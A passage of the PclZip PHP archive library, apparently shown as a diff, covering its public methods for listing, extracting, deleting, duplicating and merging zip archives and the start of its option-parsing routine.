directories, with their + // properties. + // The properties of each entries in the list are (used also in other functions) : + // filename : Name of the file. For a create or add action it is the filename + // given by the user. For an extract function it is the filename + // of the extracted file. + // stored_filename : Name of the file / directory stored in the archive. + // size : Size of the stored file. + // compressed_size : Size of the file's data compressed in the archive + // (without the headers overhead) + // mtime : Last known modification date of the file (UNIX timestamp) + // comment : Comment associated with the file + // folder : true | false + // index : index of the file in the archive + // status : status of the action (depending of the action) : + // Values are : + // ok : OK ! + // filtered : the file / dir is not extracted (filtered by user) + // already_a_directory : the file can not be extracted because a + // directory with the same name already exists + // write_protected : the file can not be extracted because a file + // with the same name already exists and is + // write protected + // newer_exist : the file was not extracted because a newer file exists + // path_creation_fail : the file is not extracted because the folder + // does not exist and can not be created + // write_error : the file was not extracted because there was a + // error while writing the file + // read_error : the file was not extracted because there was a error + // while reading the file + // invalid_header : the file was not extracted because of an archive + // format error (bad file header) + // Note that each time a method can continue operating when there + // is an action error on a file, the error is only logged in the file status. + // Return Values : + // 0 on an unrecoverable failure, + // The list of the files in the archive. + // -------------------------------------------------------------------------------- + function listContent() + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Call the extracting fct + $p_list = array(); + if (($v_result = $this->privList($p_list)) != 1) + { + unset($p_list); + return(0); + } + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // extract($p_path="./", $p_remove_path="") + // extract([$p_option, $p_option_value, ...]) + // Description : + // This method supports two synopsis. The first one is historical. + // This method extract all the files / directories from the archive to the + // folder indicated in $p_path. + // If you want to ignore the 'root' part of path of the memorized files + // you can indicate this in the optional $p_remove_path parameter. + // By default, if a newer file with the same name already exists, the + // file is not extracted. + // + // If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions + // are used, the path indicated in PCLZIP_OPT_ADD_PATH is append + // at the end of the path value of PCLZIP_OPT_PATH. + // Parameters : + // $p_path : Path where the files and directories are to be extracted + // $p_remove_path : First part ('root' part) of the memorized path + // (if any similar) to remove while extracting. + // Options : + // PCLZIP_OPT_PATH : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_CB_PRE_EXTRACT : + // PCLZIP_CB_POST_EXTRACT : + // Return Values : + // 0 or a negative value on failure, + // The list of the extracted files, with a status of the action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function extract() + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Set default values + $v_options = array(); +// $v_path = "./"; + $v_path = ''; + $v_remove_path = ""; + $v_remove_all_path = false; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Default values for option + $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; + + // ----- Look for arguments + if ($v_size > 0) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_PATH => 'optional', + PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_EXTRACT => 'optional', + PCLZIP_CB_POST_EXTRACT => 'optional', + PCLZIP_OPT_SET_CHMOD => 'optional', + PCLZIP_OPT_BY_NAME => 'optional', + PCLZIP_OPT_BY_EREG => 'optional', + PCLZIP_OPT_BY_PREG => 'optional', + PCLZIP_OPT_BY_INDEX => 'optional', + PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', + PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional', + PCLZIP_OPT_REPLACE_NEWER => 'optional' + ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' + ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + )); + if ($v_result != 1) { + return 0; + } + + // ----- Set the arguments + if (isset($v_options[PCLZIP_OPT_PATH])) { + $v_path = $v_options[PCLZIP_OPT_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { + $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { + $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; + } + if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { + // ----- Check for '/' in last path char + if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { + $v_path .= '/'; + } + $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_path = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_remove_path = $v_arg_list[1]; + } + else if ($v_size > 2) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); + + // ----- Return + return 0; + } + } + } + + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Trace + + // ----- Call the extracting fct + $p_list = array(); + $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, + $v_remove_all_path, $v_options); + if ($v_result < 1) { + unset($p_list); + return(0); + } + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + + // -------------------------------------------------------------------------------- + // Function : + // extractByIndex($p_index, $p_path="./", $p_remove_path="") + // extractByIndex($p_index, [$p_option, $p_option_value, ...]) + // Description : + // This method supports two synopsis. The first one is historical. + // This method is doing a partial extract of the archive. + // The extracted files or folders are identified by their index in the + // archive (from 0 to n). + // Note that if the index identify a folder, only the folder entry is + // extracted, not all the files included in the archive. + // Parameters : + // $p_index : A single index (integer) or a string of indexes of files to + // extract. The form of the string is "0,4-6,8-12" with only numbers + // and '-' for range or ',' to separate ranges. No spaces or ';' + // are allowed. + // $p_path : Path where the files and directories are to be extracted + // $p_remove_path : First part ('root' part) of the memorized path + // (if any similar) to remove while extracting. + // Options : + // PCLZIP_OPT_PATH : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and + // not as files. + // The resulting content is in a new field 'content' in the file + // structure. + // This option must be used alone (any other options are ignored). + // PCLZIP_CB_PRE_EXTRACT : + // PCLZIP_CB_POST_EXTRACT : + // Return Values : + // 0 on failure, + // The list of the extracted files, with a status of the action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + //function extractByIndex($p_index, options...) + function extractByIndex($p_index) + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Set default values + $v_options = array(); +// $v_path = "./"; + $v_path = ''; + $v_remove_path = ""; + $v_remove_all_path = false; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Default values for option + $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; + + // ----- Look for arguments + if ($v_size > 1) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Remove form the options list the first argument + array_shift($v_arg_list); + $v_size--; + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_PATH => 'optional', + PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_EXTRACT => 'optional', + PCLZIP_CB_POST_EXTRACT => 'optional', + PCLZIP_OPT_SET_CHMOD => 'optional', + PCLZIP_OPT_REPLACE_NEWER => 'optional' + ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' + ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + )); + if ($v_result != 1) { + return 0; + } + + // ----- Set the arguments + if (isset($v_options[PCLZIP_OPT_PATH])) { + $v_path = $v_options[PCLZIP_OPT_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { + $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; + } + if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { + $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; + } + if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { + // ----- Check for '/' in last path char + if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { + $v_path .= '/'; + } + $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; + } + if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { + $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; + } + else { + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_path = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_remove_path = $v_arg_list[1]; + } + else if ($v_size > 2) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); + + // ----- Return + return 0; + } + } + } + + // ----- Trace + + // ----- Trick + // Here I want to reuse extractByRule(), so I need to parse the $p_index + // with privParseOptions() + $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index); + $v_options_trick = array(); + $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, + array (PCLZIP_OPT_BY_INDEX => 'optional' )); + if ($v_result != 1) { + return 0; + } + $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX]; + + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Call the extracting fct + if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) { + return(0); + } + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // delete([$p_option, $p_option_value, ...]) + // Description : + // This method removes files from the archive. + // If no parameters are given, then all the archive is emptied. + // Parameters : + // None or optional arguments. + // Options : + // PCLZIP_OPT_BY_INDEX : + // PCLZIP_OPT_BY_NAME : + // PCLZIP_OPT_BY_EREG : + // PCLZIP_OPT_BY_PREG : + // Return Values : + // 0 on failure, + // The list of the files which are still present in the archive. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function delete() + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Set default values + $v_options = array(); + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Look for arguments + if ($v_size > 0) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_BY_NAME => 'optional', + PCLZIP_OPT_BY_EREG => 'optional', + PCLZIP_OPT_BY_PREG => 'optional', + PCLZIP_OPT_BY_INDEX => 'optional' )); + if ($v_result != 1) { + return 0; + } + } + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Call the delete fct + $v_list = array(); + if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) { + $this->privSwapBackMagicQuotes(); + unset($v_list); + return(0); + } + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : deleteByIndex() + // Description : + // ***** Deprecated ***** + // delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered. + // -------------------------------------------------------------------------------- + function deleteByIndex($p_index) + { + + $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index); + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : properties() + // Description : + // This method gives the properties of the archive. + // The properties are : + // nb : Number of files in the archive + // comment : Comment associated with the archive file + // status : not_exist, ok + // Parameters : + // None + // Return Values : + // 0 on failure, + // An array with the archive properties. + // -------------------------------------------------------------------------------- + function properties() + { + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + $this->privSwapBackMagicQuotes(); + return(0); + } + + // ----- Default properties + $v_prop = array(); + $v_prop['comment'] = ''; + $v_prop['nb'] = 0; + $v_prop['status'] = 'not_exist'; + + // ----- Look if file exists + if (@is_file($this->zipname)) + { + // ----- Open the zip file + if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) + { + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); + + // ----- Return + return 0; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privSwapBackMagicQuotes(); + return 0; + } + + // ----- Close the zip file + $this->privCloseFd(); + + // ----- Set the user attributes + $v_prop['comment'] = $v_central_dir['comment']; + $v_prop['nb'] = $v_central_dir['entries']; + $v_prop['status'] = 'ok'; + } + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_prop; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : duplicate() + // Description : + // This method creates an archive by copying the content of an other one. If + // the archive already exist, it is replaced by the new one without any warning. + // Parameters : + // $p_archive : The filename of a valid archive, or + // a valid PclZip object. + // Return Values : + // 1 on success. + // 0 or a negative value on error (error code). + // -------------------------------------------------------------------------------- + function duplicate($p_archive) + { + $v_result = 1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Look if the $p_archive is a PclZip object + if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip')) + { + + // ----- Duplicate the archive + $v_result = $this->privDuplicate($p_archive->zipname); + } + + // ----- Look if the $p_archive is a string (so a filename) + else if (is_string($p_archive)) + { + + // ----- Check that $p_archive is a valid zip file + // TBC : Should also check the archive format + if (!is_file($p_archive)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'"); + $v_result = PCLZIP_ERR_MISSING_FILE; + } + else { + // ----- Duplicate the archive + $v_result = $this->privDuplicate($p_archive); + } + } + + // ----- Invalid variable + else + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); + $v_result = PCLZIP_ERR_INVALID_PARAMETER; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : merge() + // Description : + // This method merge the $p_archive_to_add archive at the end of the current + // one ($this). + // If the archive ($this) does not exist, the merge becomes a duplicate. + // If the $p_archive_to_add archive does not exist, the merge is a success. + // Parameters : + // $p_archive_to_add : It can be directly the filename of a valid zip archive, + // or a PclZip object archive. + // Return Values : + // 1 on success, + // 0 or negative values on error (see below). + // -------------------------------------------------------------------------------- + function merge($p_archive_to_add) + { + $v_result = 1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Look if the $p_archive_to_add is a PclZip object + if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip')) + { + + // ----- Merge the archive + $v_result = $this->privMerge($p_archive_to_add); + } + + // ----- Look if the $p_archive_to_add is a string (so a filename) + else if (is_string($p_archive_to_add)) + { + + // ----- Create a temporary archive + $v_object_archive = new PclZip($p_archive_to_add); + + // ----- Merge the archive + $v_result = $this->privMerge($v_object_archive); + } + + // ----- Invalid variable + else + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); + $v_result = PCLZIP_ERR_INVALID_PARAMETER; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + + + // -------------------------------------------------------------------------------- + // Function : errorCode() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function errorCode() + { + if (PCLZIP_ERROR_EXTERNAL == 1) { + return(PclErrorCode()); + } + else { + return($this->error_code); + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : errorName() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function errorName($p_with_code=false) + { + $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR', + PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL', + PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL', + PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER', + PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE', + PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG', + PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP', + PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE', + PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL', + PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION', + PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT', + PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL', + PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL', + PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM', + PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', + PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE', + PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE', + PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', + PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION' + ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE' + ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION' + ); + + if (isset($v_name[$this->error_code])) { + $v_value = $v_name[$this->error_code]; + } + else { + $v_value = 'NoName'; + } + + if ($p_with_code) { + return($v_value.' ('.$this->error_code.')'); + } + else { + return($v_value); + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : errorInfo() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function errorInfo($p_full=false) + { + if (PCLZIP_ERROR_EXTERNAL == 1) { + return(PclErrorString()); + } + else { + if ($p_full) { + return($this->errorName(true)." : ".$this->error_string); + } + else { + return($this->error_string." [code ".$this->error_code."]"); + } + } + } + // -------------------------------------------------------------------------------- + + +// -------------------------------------------------------------------------------- +// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS ***** +// ***** ***** +// ***** THESES FUNCTIONS MUST NOT BE USED DIRECTLY ***** +// -------------------------------------------------------------------------------- + + + + // -------------------------------------------------------------------------------- + // Function : privCheckFormat() + // Description : + // This method check that the archive exists and is a valid zip archive. + // Several level of check exists. (futur) + // Parameters : + // $p_level : Level of check. Default 0. + // 0 : Check the first bytes (magic codes) (default value)) + // 1 : 0 + Check the central directory (futur) + // 2 : 1 + Check each file header (futur) + // Return Values : + // true on success, + // false on error, the error code is set. + // -------------------------------------------------------------------------------- + function privCheckFormat($p_level=0) + { + $v_result = true; + + // ----- Reset the file system cache + clearstatcache(); + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Look if the file exits + if (!is_file($this->zipname)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'"); + return(false); + } + + // ----- Check that the file is readeable + if (!is_readable($this->zipname)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'"); + return(false); + } + + // ----- Check the magic code + // TBC + + // ----- Check the central header + // TBC + + // ----- Check each file header + // TBC + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privParseOptions() + // Description : + // This internal methods reads the variable list of arguments ($p_options_list, + // $p_size) and generate an array with the options and values ($v_result_list). + // $v_requested_options contains the options that can be present and those that + // must be present. + // $v_requested_options is an array, with the option value as key, and 'optional', + // or 'mandatory' as value. + // Parameters : + // See above. + // Return Values : + // 1 on success. + // 0 on failure. + // -------------------------------------------------------------------------------- + function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false) + { + $v_result=1; + + // ----- Read the options + $i=0; + while ($i<$p_size) { + + // ----- Check if the option is supported + if (!isset($v_requested_options[$p_options_list[$i]])) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for next option + switch ($p_options_list[$i]) { + // ----- Look for options that request a path value + case PCLZIP_OPT_PATH : + case PCLZIP_OPT_REMOVE_PATH : + case PCLZIP_OPT_ADD_PATH : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); + $i++; + break; + + case PCLZIP_OPT_TEMP_FILE_THRESHOLD : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + return PclZip::errorCode(); + } + + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); + return PclZip::errorCode(); + } + + // ----- Check the value + $v_value = $p_options_list[$i+1]; + if ((!is_integer($v_value)) || ($v_value<0)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + return PclZip::errorCode(); + } + + // ----- Get the value (and convert it in bytes) + $v_result_list[$p_options_list[$i]] = $v_value*1048576; + $i++; + break; + + case PCLZIP_OPT_TEMP_FILE_ON : + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); + return PclZip::errorCode(); + } + + $v_result_list[$p_options_list[$i]] = true; + break; + + case PCLZIP_OPT_TEMP_FILE_OFF : + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'"); + return PclZip::errorCode(); + } + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'"); + return PclZip::errorCode(); + } + + $v_result_list[$p_options_list[$i]] = true; + break; + + case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if ( is_string($p_options_list[$i+1]) + && ($p_options_list[$i+1] != '')) { + $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); + $i++; + } + else { + } + break; + + // ----- Look for options that request an array of string for value + case PCLZIP_OPT_BY_NAME : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if (is_string($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1]; + } + else if (is_array($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + $i++; + break; + + // ----- Look for options that request an EREG or PREG expression + case PCLZIP_OPT_BY_EREG : + // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG + // to PCLZIP_OPT_BY_PREG + $p_options_list[$i] = PCLZIP_OPT_BY_PREG; + case PCLZIP_OPT_BY_PREG : + //case PCLZIP_OPT_CRYPT : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if (is_string($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + $i++; + break; + + // ----- Look for options that takes a string + case PCLZIP_OPT_COMMENT : + case PCLZIP_OPT_ADD_COMMENT : + case PCLZIP_OPT_PREPEND_COMMENT : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, + "Missing parameter value for option '" + .PclZipUtilOptionText($p_options_list[$i]) + ."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if (is_string($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, + "Wrong parameter value for option '" + .PclZipUtilOptionText($p_options_list[$i]) + ."'"); + + // ----- Return + return PclZip::errorCode(); + } + $i++; + break; + + // ----- Look for options that request an array of index + case PCLZIP_OPT_BY_INDEX : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_work_list = array(); + if (is_string($p_options_list[$i+1])) { + + // ----- Remove spaces + $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', ''); + + // ----- Parse items + $v_work_list = explode(",", $p_options_list[$i+1]); + } + else if (is_integer($p_options_list[$i+1])) { + $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1]; + } + else if (is_array($p_options_list[$i+1])) { + $v_work_list = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Reduce the index list + // each index item in the list must be a couple with a start and + // an end value : [0,3], [5-5], [8-10], ... + // ----- Check the format of each item + $v_sort_flag=false; + $v_sort_value=0; + for ($j=0; $j= $p_size) { + // ----- Error log + 